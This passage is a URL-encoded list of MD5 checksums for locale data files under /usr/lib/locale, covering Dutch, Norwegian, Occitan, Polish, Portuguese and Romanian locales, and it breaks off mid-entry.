NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_ADDRESS%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa42e06e1e7d0ece31158cd3dc2e87ba2%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_TIME%0A61dff413127a5ab7d9b6293671482edd%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_IDENTIFICATION%0A311a182757522b8f8f5e1e133cc35bb2%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_TELEPHONE%0A52fce72939efc08d3bd1f988334ba608%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%2FLC_COLLATE%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa42e06e1e7d0ece31158cd3dc2e87ba2%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_TIME%0A1699026a13af798a5fd5a507b05e1235%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_IDENTIFICATION%0A311a182757522b8f8f5e1e133cc35bb2%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_TELEPHONE%0Add081e4d50fe88ed371d26afb040ca31%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL.utf8%40euro%2FLC_COLLATE%0A5d9bbb25d0e72653794c2f810789f545%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3728bb9e02734c1523054e596af6d7c5%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_TIME%0A36c1b940258d2641e126b6b390120022%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_IDENTIFICATION%0A9fcff42cf39c664a5be8b7dd141d4da9%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_TELEPHONE%0A12ee6dd2e56fa17e53bb400ff7807a05%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_MONETARY%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_MEASUREMENT%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_NAME%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%40euro%2FLC_ADDRESS%0Ad7709b8ca6e9ffd872e5177c2a421a79%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A1f4055836d9c3f039abc05f09e6bd2c1%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_TIME%0A3427d71daccaf72d9fcc36e16afa7727%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_IDENTIFICATION%0Ab64380f56a90c95babcb66d7adaa058f%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_TELEPHONE%0A8fb2338b5e0dc985c21e9bad6f28cac7%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_MONETARY%0Aa3d880bf9635737dd9ce170a9bb6b05d%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_NUMERIC%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO%2FLC_ADDRESS%0A6762009ffdd6a02ff87ec0a0aaa854b7%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ace9bd3abec0e944785f3899d5623f5b4%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_TIME%0Ad8dc344619899f07d954581b3ee38a13%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_IDENTIFICATION%0A4c1455930b2876d8091b12ee463fac5b%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_TELEPHONE%0Afe3ac9227d07379c268698eaddeda346%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_MONETARY%0Aa055f2f4e4eec182ab3b1774e4caf157%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_NUMERIC%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fnn_NO.utf8%2FLC_COLLATE%0A59a362ef4455cbcf5d1e0c301c5bfa59%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_IDENTIFICATION%0A11f17b321a7c25e1611c268262b68d4d%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_COLLATE%0Ad7709b8ca6e9ffd872e5177c2a421a79%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab64380f56a90c95babcb66d7adaa058f%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_TELEPHONE%0Af16f0e4f0cf63e13e81b8a763661bfff%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_MONETARY%0Ad337c66dc473b5932f466b34e47649a3%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_TIME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_PAPER%0A9803aabd8b3564c9febbd871fd579a3c%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fno_NO%2FLC_ADDRESS%0A5fefe82b253fdc3c05e21c97a694e0cf%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_IDENTIFICATION%0Aaeae91597205f1295c5d813c3f655a1d%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_COLLATE%0A6762009ffdd6a02ff87ec0a0aaa854b7%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A4c1455930b2876d8091b12ee463fac5b%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_TELEPHONE%0A4981f45cfec09269cb68df3efd60b73c%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_MONETARY%0Aaf80a0a0edc781a6b225ab3a145392c4%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_MEASUREMENT%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fno_NO.utf8%2FLC_CTYPE%0A5d282f55ff194be023aad5a8213a5718%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_IDENTIFICATION%0Ae97f9ca08028e9fb7656bc85ba48e747%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_ADDRESS%0Aa6933df3c1014d072fb533b9a3ba4dca%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_CTYPE%0A50d3efab8c253129508c7efa485163df%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_TIME%0Abef80905507aed676f17b54760b79c7a%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_TELEPHONE%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_NUMERIC%0Ababe18fb9eae0643a69f8e7848aa9f8b%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_MONETARY%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_MEASUREMENT%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Foc_FR%2FLC_COLLATE%0A758edb8b1da32fd46168aafe27d7c901%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_IDENTIFICATION%0A2f3121ff4836aaab1a40c87658015c71%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_COLLATE%0A8ff44bc5e9ddddecaf4f9fff2faa185d%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6fca9ea341471a307dc6600c02fc4cdf%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_TELEPHONE%0Af4ff28d879f7467629aee865f3d08cd7%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_PAPER%0A2f9c23bde4a36918e4820b597c949305%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL%2FLC_ADDRESS%0A8b9aaadfee892fadbe6f16e56043e61b%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_IDENTIFICATION%0A1d9707d4ea8243ec3564ee6927a77a93%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_COLLATE%0Af527b393c45cc63fd58cf48b55d82737%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5fcde0a404f6fe810b93c6188f1b767c%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_TELEPHONE%0Af6ade42631af56ba3e19de14bb0d840e%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_MONETARY%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_NUMERIC%0A1fe7dd9e2d0d643206cf23555fa3d60a%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fpl_PL.utf8%2FLC_CTYPE%0Ad0ecc818ddb92c6996f6017525ba2649%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A8eb092d60f41c4dc030b4d84742d859d%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_TIME%0Ac93cfe25fe41cde23c0e37a7008b7595%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_IDENTIFICATION%0A2143ee7e447ee1edcea597b03d01ed5d%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_TELEPHONE%0Aafed09d3fb239d56a0afdf3d785bd8af%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR%2FLC_ADDRESS%0A098ba5cb1a69634b6ea5a67b1cdabeca%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Afc49cfce9e49c7ba4cc93b0c23dab953%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_TIME%0A6cc35f910dfd329ab4d74db7b53869b4%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_IDENTIFICATION%0Afe3ba0a6c6a9e94e4313dd4b43797e8a%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_TELEPHONE%0A8375413fc1aef650c5c5d207f081aa57%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fpt_BR.utf8%2FLC_COLLATE%0Ad0ecc818ddb92c6996f6017525ba2649%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A82fffc6f3f8c0015b18df533d7a5e192%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_TIME%0Aa13a60bc3f354b7da6e892e6453c6f73%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_IDENTIFICATION%0Aae140469d15b4bdafe2b4226fad88334%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_TELEPHONE%0A2afaa1a4dda2bcb65685cd5e7a80066d%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%2FLC_ADDRESS%0A098ba5cb1a69634b6ea5a67b1cdabeca%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2bbd2bae6ca165c7862f9420b3117ffe%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_TIME%0Abe4d2559fa6e23f34d9ceb118c88cb63%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_IDENTIFICATION%0Afb2df3b2b502053a83cd124bfe60a4bd%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_TELEPHONE%0Ae726f559eb3cd423922f910056c0f05a%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%2FLC_COLLATE%0A098ba5cb1a69634b6ea5a67b1cdabeca%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2bbd2bae6ca165c7862f9420b3117ffe%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_TIME%0A2445034fc64415d3175207c63485c401%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_IDENTIFICATION%0Afb2df3b2b502053a83cd124bfe60a4bd%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_TELEPHONE%0Ad0b0e60fa90493b19f2693b7ac45b246%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT.utf8%40euro%2FLC_COLLATE%0A562ac6399680290cb86b4bdf65d811a5%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A7e86dcd46c74162599fe36a5b3b4beca%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_TIME%0A2b1840407290350902600297161cd5db%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_IDENTIFICATION%0A2f501fc15f3f6905b121f6f57eb53cdc%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_TELEPHONE%0A18841040b414c58382a66f9a2b1d086e%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_MONETARY%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_MEASUREMENT%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_NAME%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fpt_PT%40euro%2FLC_ADDRESS%0A02d1b51a8737efbf48c34b1412fc95c1%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_IDENTIFICATION%0Aa5cd560a60824e6f067de079d1718de0%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_COLLATE%0A498b4d6d985155f03ecc7f13509d36b7%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_CTYPE%0Ab6d24aee0a6c066d8e19f7959f8e40d5%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A56b1cbb10e608b5e40393558948c68bf%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_TELEPHONE%0Ab753ca86261a55ba246ee5be8022de02%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_PAPER%0A1715dacfad46ebb24ed9e6208f6b89e3%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_NAME%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fro_RO%2FLC_ADDRESS%0A48fe063ce8199db25192dc75f47f4cbb%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_IDENTIFICATION%0A87215f71d237cea36334d87e94f63b5f%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_COLLATE%0A244030cbc3ab7bca87c321216b0a19bf%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_CTYPE%0A2a5f1a124932273cf0b55b01ca7bf6ce%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa974c66b56cd7c6203f2ef9c07792b60%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_TELEPHONE%0A62cacd06966c8bd76366ceecc8b674f7%20%20%2Fusr%2Flib%2Flocale%2Fro_RO.utf8%2FLC_MONETARY%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%